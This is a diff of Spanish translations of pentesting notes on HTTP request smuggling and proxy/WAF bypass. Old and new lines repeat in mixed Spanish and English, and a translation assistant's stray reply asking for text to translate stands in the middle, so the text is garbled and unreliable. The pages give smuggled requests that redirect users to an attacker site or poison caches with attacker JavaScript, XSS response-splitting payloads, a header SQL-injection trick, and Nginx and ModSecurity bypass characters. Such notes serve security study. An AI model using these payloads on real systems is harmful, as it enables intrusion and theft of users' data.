En [**this writeup**](https://mizu.re/post/twisty-python), esto fue abusado mediante request smuggling y un **endpoint vulnerable que responde con la entrada del usuario** para introducir una petición con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **falsa respuesta HTTP/1.1 (con headers y body)**, por lo que la respuesta contendría código JS ejecutable válido con un `Content-Type` de `text/html`.
### Explotando redirecciones en el sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Explotando redirecciones en el mismo sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final resulta en una redirección para incluir la barra:
Las aplicaciones a menudo redirigen de una URL a otra usando el hostname del encabezado `Host` en la URL de redirección. Esto es común con servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin la barra final resulta en una redirección para incluir la barra:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Resultados en:
Resulta en:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Aunque aparentemente inofensivo, este comportamiento puede ser manipulado utilizando HTTP request smuggling para redirigir a los usuarios a un sitio externo. Por ejemplo:
Aunque aparentemente inofensivo, este comportamiento puede manipularse usando HTTP request smuggling para redirigir a los usuarios a un sitio externo. Por ejemplo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -558,29 +560,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Esta solicitud encubierta podría hacer que la próxima solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
Esta smuggled request podría provocar que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Resultados en:
Resulta en:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
En este escenario, se secuestra la solicitud de un usuario para un archivo JavaScript. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en respuesta.
En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer al usuario sirviendo JavaScript malicioso en respuesta.
### Explotación de la contaminación de caché web a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
La contaminación de caché web puede ejecutarse si cualquier componente de la **infraestructura de front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.
Web cache poisoning can be executed if any component of the **infraestructura front-end almacena en caché contenido**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **poison the cache**.
Anteriormente, observamos cómo se podían alterar las respuestas del servidor para devolver un error 404 (consulte [Ejemplos Básicos](#basic-examples)). De manera similar, es factible engañar al servidor para que entregue contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché con el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS).
Anteriormente, observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (consultar [Basic Examples](#basic-examples)). De manera similar, es factible engañar al servidor para que entregue el contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché por el de `/index.html`, dejando `/static/include.js` inaccesible para los usuarios, lo que puede derivar en un Denial of Service (DoS).
Esta técnica se vuelve particularmente potente si se descubre una **vulnerabilidad de Redirección Abierta** o si hay una **redirección en el sitio a una redirección abierta**. Tales vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de `/static/include.js` con un script bajo el control del atacante, habilitando esencialmente un ataque de Cross-Site Scripting (XSS) generalizado contra todos los clientes que soliciten el `/static/include.js` actualizado.
Esta técnica se vuelve especialmente potente si se descubre una **Open Redirect vulnerability** o si existe un **on-site redirect to an open redirect**. Tales vulnerabilidades pueden explotarse para reemplazar el contenido en caché de `/static/include.js` por un script controlado por el atacante, posibilitando esencialmente un ataque masivo de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el `/static/include.js` actualizado.
A continuación se muestra una ilustración de la explotación de **contaminación de caché combinada con una redirección en el sitio a una redirección abierta**. El objetivo es alterar el contenido de la caché de `/static/include.js` para servir código JavaScript controlado por el atacante:
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -598,20 +600,20 @@ Content-Length: 10
x=1
```
Nota la solicitud incrustada que apunta a `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4`, utilizando el **valor del encabezado Host** para determinar el dominio. Al alterar el **encabezado Host**, el atacante puede redirigir la solicitud a su dominio (**redirección en el sitio a redirección abierta**).
Fíjate en la request embebida que apunta a `/post/next?postId=3`. Esta request será redirigida a `/post?postId=4`, utilizando el **Host header value** para determinar el dominio. Al alterar el **Host header**, el atacante puede redirigir la request a su dominio (**on-site redirect to open redirect**).
Después de un exitoso **envenenamiento de socket**, se debe iniciar una **solicitud GET** para `/static/include.js`. Esta solicitud será contaminada por la anterior solicitud de **redirección en el sitio a redirección abierta** y obtendrá el contenido del script controlado por el atacante.
Tras un exitoso **socket poisoning**, se debe iniciar una **GET request** para `/static/include.js`. Esta request será contaminada por la request previa de **on-site redirect to open redirect** y obtendrá el contenido del script controlado por el atacante.
Posteriormente, cualquier solicitud para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
Posteriormente, cualquier request para `/static/include.js` servirá el contenido cacheado del script del atacante, lanzando efectivamente un ataque XSS a gran escala.
### Usando el envenenamiento de solicitudes HTTP para realizar engaño de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Usando HTTP request smuggling para realizar web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
> **¿Cuál es la diferencia entre web cache poisoning y web cache deception?**
>
> - En el **envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> - En el **engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
> - En **web cache poisoning**, el atacante hace que la aplicación almacene contenido malicioso en la cache, y ese contenido se sirve desde la cache a otros usuarios de la aplicación.
> - En **web cache deception**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la cache, y luego el atacante recupera ese contenido de la cache.
El atacante elabora una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
El atacante construye una smuggled request que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -622,17 +624,17 @@ El atacante elabora una solicitud contrabandeada que obtiene contenido sensible
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Si esta solicitud contrabandeada envenena una entrada de caché destinada a contenido estático (por ejemplo, `/someimage.png`), los datos sensibles de la víctima de `/private/messages` podrían ser almacenados en caché bajo la entrada de caché del contenido estático. En consecuencia, el atacante podría potencialmente recuperar estos datos sensibles almacenados en caché.
Si esta smuggled request envenena una entrada de caché destinada a contenido estático (por ejemplo, `/someimage.png`), los datos sensibles de la víctima procedentes de `/private/messages` podrían almacenarse en caché bajo la entrada del contenido estático. En consecuencia, el atacante podría recuperar potencialmente estos datos sensibles en caché.
### Abusando de TRACE a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusar de TRACE mediante HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**En esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere que si el servidor tiene habilitado el método TRACE, podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier encabezado enviado al servidor como parte del cuerpo de la respuesta. Por ejemplo:
[**En este post**](https://portswigger.net/research/trace-desync-attack) se sugiere que si el servidor tiene el método TRACE habilitado podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier header enviado al servidor como parte del cuerpo de la respuesta. Por ejemplo:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please provide the text you would like me to translate.
Por favor pega aquí el contenido del archivo src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca. Traduciré el texto relevante al español manteniendo exactamente la misma sintaxis markdown/html y sin traducir código, nombres de técnicas, links, rutas ni tags.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -643,15 +645,13 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Un ejemplo de cómo abusar de este comportamiento sería **introducir primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y introducir **inmediatamente después de la HEAD una solicitud TRACE**, que reflejará los datos enviados.\
Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\
Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser **utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario**.
Un ejemplo de cómo abusar de este comportamiento sería **smuggle primero un HEAD request**. Esta request será respondida únicamente con los **headers** de un GET request (**`Content-Type`** entre ellos). Y smuggle **inmediatamente después del HEAD un TRACE request**, que estará **reflecting the sent data**.\\ Como la response del HEAD contendrá un header `Content-Length`, la **response del TRACE request será tratada como el body de la response HEAD, por lo tanto reflejando datos arbitrarios** en la respuesta.\\ Esta response será enviada a la siguiente request sobre la conexión, por lo que esto podría **ser usado en un cached JS file por ejemplo para inject arbitrary JS code**.
### Abusando de TRACE a través de la división de respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere como otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE, es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
Se recomienda continuar siguiendo [**this post**](https://portswigger.net/research/trace-desync-attack), que sugiere otra forma de abusar del método TRACE. Como se comentó, smuggling un HEAD request y un TRACE request permite **controlar algunos datos reflejados** en la response al HEAD request. La longitud del body del HEAD request está básicamente indicada en el header `Content-Length` y se forma con la response al TRACE request.
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché).
Por lo tanto, la nueva idea sería que, conociendo ese `Content-Length` y los datos suministrados en la TRACE response, es posible hacer que la TRACE response contenga una valid HTTP response después del último byte indicado por el `Content-Length`, permitiendo a un atacante controlar completamente la request hacia la siguiente response (lo cual podría usarse para realizar un cache poisoning).
Ejemplo:
```
@ -672,7 +672,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Generará estas respuestas (note cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE sea parte del cuerpo de HEAD y una vez que finaliza el Content-Length de HEAD, se infiltra una respuesta HTTP válida):
Generará estas respuestas (observe cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE forme parte del cuerpo de la HEAD y, una vez que termina el Content-Length de la HEAD, se smuggled una respuesta HTTP válida):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -693,29 +693,32 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### Arma de HTTP Request Smuggling con Desincronización de Respuestas HTTP
### Weaponizando HTTP Request Smuggling con HTTP Response Desynchronisation
¿Has encontrado alguna HTTP Request Smuggling vulnerability y no sabes cómo exploit it. Prueba estos otros métodos de exploitation:
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### Otras Técnicas de HTTP Request Smuggling
### Otras técnicas de HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
- HTTP Request Smuggling en el Navegador (Lado del Cliente)
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling en Downgrades de HTTP/2
- Request Smuggling in HTTP/2 Downgrades
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Scripts de Turbo Intruder
## Scripts de Turbo intruder
### CL.TE
@ -804,14 +807,14 @@ table.add(req)
```
## Herramientas
- HTTP Hacker (Burp BApp Store) visualizar la concatenación/framing y el comportamiento HTTP de bajo nivel
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Acción personalizada de Burp Repeater "¿Smuggling o pipelining?"
- HTTP Hacker (Burp BApp Store) visualizar concatenación/framing y el comportamiento HTTP de bajo nivel
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el request smuggling.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un HTTP Fuzzer basado en gramática, útil para encontrar discrepancias inusuales relacionadas con request smuggling.
## Referencias
@ -824,10 +827,10 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Cuidado con el falso positivo: cómo distinguir el HTTP pipelining del request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- Cuidado con el falso falsopositivo: cómo distinguir HTTP pipelining de request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- Ataques de desincronización impulsados por el navegador [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy desincronización del lado del cliente [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,11 @@
# Proxy / WAF Protections Bypass
# Evasión de Protecciones Proxy / WAF
{{#include ../banners/hacktricks-training.md}}
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
## Evasión de reglas ACL de Nginx mediante manipulación de pathname <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Técnicas [de esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Técnicas [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Ejemplo de regla de Nginx:
```plaintext
@ -17,41 +17,41 @@ location = /admin/ {
deny all;
}
```
Para prevenir bypasses, Nginx realiza la normalización de rutas antes de verificarla. Sin embargo, si el servidor backend realiza una normalización diferente (eliminando caracteres que Nginx no elimina), podría ser posible eludir esta defensa.
Para prevenir bypasses, Nginx realiza la normalización de rutas antes de comprobarlas. Sin embargo, si el servidor backend realiza una normalización diferente (eliminando caracteres que nginx no elimina), podría ser posible un bypass a esta defensa.
### **NodeJS - Express**
| Versión de Nginx | **Caracteres de Bypass de Node.js** |
| ---------------- | ------------------------------------ |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| Versión de Nginx | **Node.js Bypass Characters** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Versión de Nginx | **Caracteres de Bypass de Flask** |
| ---------------- | ------------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| Versión de Nginx | **Flask Bypass Characters** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Versión de Nginx | **Caracteres de Bypass de Spring Boot** |
| ---------------- | ---------------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| Versión de Nginx | **Spring Boot Bypass Characters** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Configuración de Nginx FPM:
Configuración FPM de Nginx:
```plaintext
location = /admin.php {
deny all;
@ -62,32 +62,32 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx está configurado para bloquear el acceso a `/admin.php`, pero es posible eludir esto accediendo a `/admin.php/index.php`.
Nginx está configurado para bloquear el acceso a `/admin.php` pero es posible eludir esto accediendo a `/admin.php/index.php`.
### Cómo prevenir
### Cómo prevenirlo
```plaintext
location ~* ^/admin {
deny all;
}
```
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Evasión de reglas de Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Confusión de Ruta
### Confusión de ruta
[**En esta publicación**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) se explica que ModSecurity v3 (hasta 3.0.12), **implementó incorrectamente la variable `REQUEST_FILENAME`** que se suponía debía contener la ruta accedida (hasta el inicio de los parámetros). Esto se debe a que realizó una decodificación de URL para obtener la ruta.\
Por lo tanto, una solicitud como `http://example.com/foo%3f';alert(1);foo=` en mod security supondrá que la ruta es solo `/foo` porque `%3f` se transforma en `?` finalizando la ruta de la URL, pero en realidad la ruta que un servidor recibirá será `/foo%3f';alert(1);foo=`.
[**En esta entrada**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) se explica que ModSecurity v3 (hasta la 3.0.12) **implementó incorrectamente la variable `REQUEST_FILENAME`** que se suponía debía contener la ruta accedida (hasta el inicio de los parámetros). Esto es porque realizaba una decodificación de la URL para obtener la ruta.\
Por lo tanto, una petición como `http://example.com/foo%3f';alert(1);foo=` en mod security supondrá que la ruta es solo `/foo` porque `%3f` se transforma en `?` terminando la ruta del URL, pero en realidad la ruta que recibirá un servidor será `/foo%3f';alert(1);foo=`.
Las variables `REQUEST_BASENAME` y `PATH_INFO` también se vieron afectadas por este error.
Las variables `REQUEST_BASENAME` y `PATH_INFO` también se vieron afectadas por este bug.
Algo similar ocurrió en la versión 2 de Mod Security que permitió eludir una protección que impedía a los usuarios acceder a archivos con extensiones específicas relacionadas con archivos de respaldo (como `.bak`) simplemente enviando el punto codificado en URL como `%2e`, por ejemplo: `https://example.com/backup%2ebak`.
Algo similar ocurrió en la versión 2 de Mod Security que permitía evadir una protección que impedía a usuarios acceder a ficheros con extensiones específicas relacionadas con backups (como `.bak`) simplemente enviando el punto URL codificado en `%2e`, por ejemplo: `https://example.com/backup%2ebak`.
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Encabezado Malformado
### Cabecera malformada
[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible eludir las reglas de AWS WAF aplicadas sobre encabezados HTTP enviando un encabezado "malformado" que no fue analizado correctamente por AWS pero sí por el servidor backend.
[Esta investigación](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible evadir reglas de AWS WAF aplicadas sobre cabeceras HTTP enviando una cabecera "malformed" que no era correctamente parseada por AWS pero sí por el servidor backend.
Por ejemplo, enviando la siguiente solicitud con una inyección SQL en el encabezado X-Query:
Por ejemplo, enviando la siguiente petición con una inyección SQL en la cabecera X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -96,51 +96,52 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Fue posible eludir AWS WAF porque no entendía que la siguiente línea es parte del valor del encabezado, mientras que el servidor NODEJS sí lo hacía (esto fue corregido).
Fue posible evadir AWS WAF porque no entendía que la siguiente línea era parte del valor del header mientras que el servidor NODEJS sí lo hacía (esto fue corregido).
## Eludidas genéricas de WAF
## Bypasses genéricos de WAF
### Límites de tamaño de solicitud
### Límites de tamaño de request
Comúnmente, los WAF tienen un cierto límite de longitud de solicitudes para verificar y si una solicitud POST/PUT/PATCH supera este límite, el WAF no verificará la solicitud.
Normalmente los WAFs tienen un cierto límite de longitud de requests a revisar y si una request POST/PUT/PATCH lo supera, el WAF no la inspeccionará.
- Para AWS WAF, puedes [**consultar la documentación**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- Para AWS WAF, puedes [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para protecciones de Application Load Balancer y AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y Verified Access**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para Application Load Balancer y las protecciones de AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para CloudFront, API Gateway, Amazon Cognito, App Runner, y las protecciones de Verified Access**</td><td>64 KB</td></tr></tbody></table>
- De [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Los Firewalls de Aplicaciones Web más antiguos con el Conjunto de Reglas Central 3.1 (o inferior) permiten mensajes más grandes de **128 KB** al desactivar la inspección del cuerpo de la solicitud, pero estos mensajes no serán verificados en busca de vulnerabilidades. Para versiones más nuevas (Conjunto de Reglas Central 3.2 o más reciente), se puede hacer lo mismo desactivando el límite máximo del cuerpo de la solicitud. Cuando una solicitud excede el límite de tamaño:
Los Web Application Firewalls más antiguos con Core Rule Set 3.1 (o inferior) permiten mensajes mayores a **128 KB** al desactivar la inspección del body de la request, pero esos mensajes no serán revisados por vulnerabilidades. Para versiones más nuevas (Core Rule Set 3.2 o superior), lo mismo puede hacerse desactivando el límite máximo del body de la request. Cuando una request excede el límite de tamaño:
Si **modo de prevención**: Registra y bloquea la solicitud.\
Si **modo de detección**: Inspecciona hasta el límite, ignora el resto y registra si el `Content-Length` excede el límite.
Si **prevention mode**: registra y bloquea la request.\\
Si **detection mode**: inspecciona hasta el límite, ignora el resto, y registra si el `Content-Length` excede el límite.
- De [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
Por defecto, el WAF inspecciona solo los primeros 8KB de una solicitud. Puede aumentar el límite hasta 128KB añadiendo Metadatos Avanzados.
Por defecto, el WAF inspecciona solo los primeros 8KB de una request. Puede aumentar el límite hasta 128KB añadiendo Advanced Metadata.
- De [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
Hasta 128KB.
### Brechas de inspección de activos estáticos (.js GETs)
### Lagunas en la inspección de assets estáticos (.js GETs)
Algunas pilas de CDN/WAF aplican una inspección débil o nula del contenido a las solicitudes GET para activos estáticos (por ejemplo, rutas que terminan en `.js`), mientras que aún aplican reglas globales como limitación de tasa y reputación de IP. Combinado con el auto-caché de extensiones estáticas, esto puede ser abusado para entregar o sembrar variantes maliciosas que afectan las respuestas HTML subsiguientes.
Algunas pilas CDN/WAF aplican una inspección de contenido débil o nula a GET requests para assets estáticos (por ejemplo rutas que terminan en `.js`), mientras siguen aplicando reglas globales como rate limiting y reputación de IP. Combinado con auto-caching de extensiones estáticas, esto puede abusarse para entregar o sembrar variantes maliciosas que afecten a respuestas HTML subsecuentes.
Casos de uso prácticos:
Casos prácticos:
- Enviar cargas útiles en encabezados no confiables (por ejemplo, `User-Agent`) en un GET a una ruta `.js` para evitar la inspección de contenido, luego solicitar inmediatamente el HTML principal para influir en la variante en caché.
- Usar una IP fresca/limpia; una vez que una IP es marcada, los cambios de enrutamiento pueden hacer que la técnica sea poco confiable.
- En Burp Repeater, usar "Enviar grupo en paralelo" (estilo de paquete único) para competir las dos solicitudes (`.js` luego HTML) a través de la misma ruta de front-end.
- Enviar payloads en headers no confiables (p. ej., `User-Agent`) en un GET a una ruta `.js` para evitar la inspección de contenido, y luego solicitar inmediatamente el HTML principal para influir en la variante cacheada.
- Usar una IP nueva/limpia; una vez que una IP es marcada, cambios en el enrutamiento pueden hacer que la técnica sea poco fiable.
- En Burp Repeater, usar "Send group in parallel" (single-packet style) para competir las dos requests (`.js` y luego HTML) por la misma ruta front-end.
Esto se combina bien con la contaminación de caché por reflexión de encabezados. Ver:
Esto se complementa con header-reflection cache poisoning. Ver:
- {{#ref}}
{{#ref}}
cache-deception/README.md
{{#endref}}
- [Cómo encontré una toma de control de cuenta 0-Click en un BBP público y la aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Ofuscación <a href="#ip-rotation" id="ip-rotation"></a>
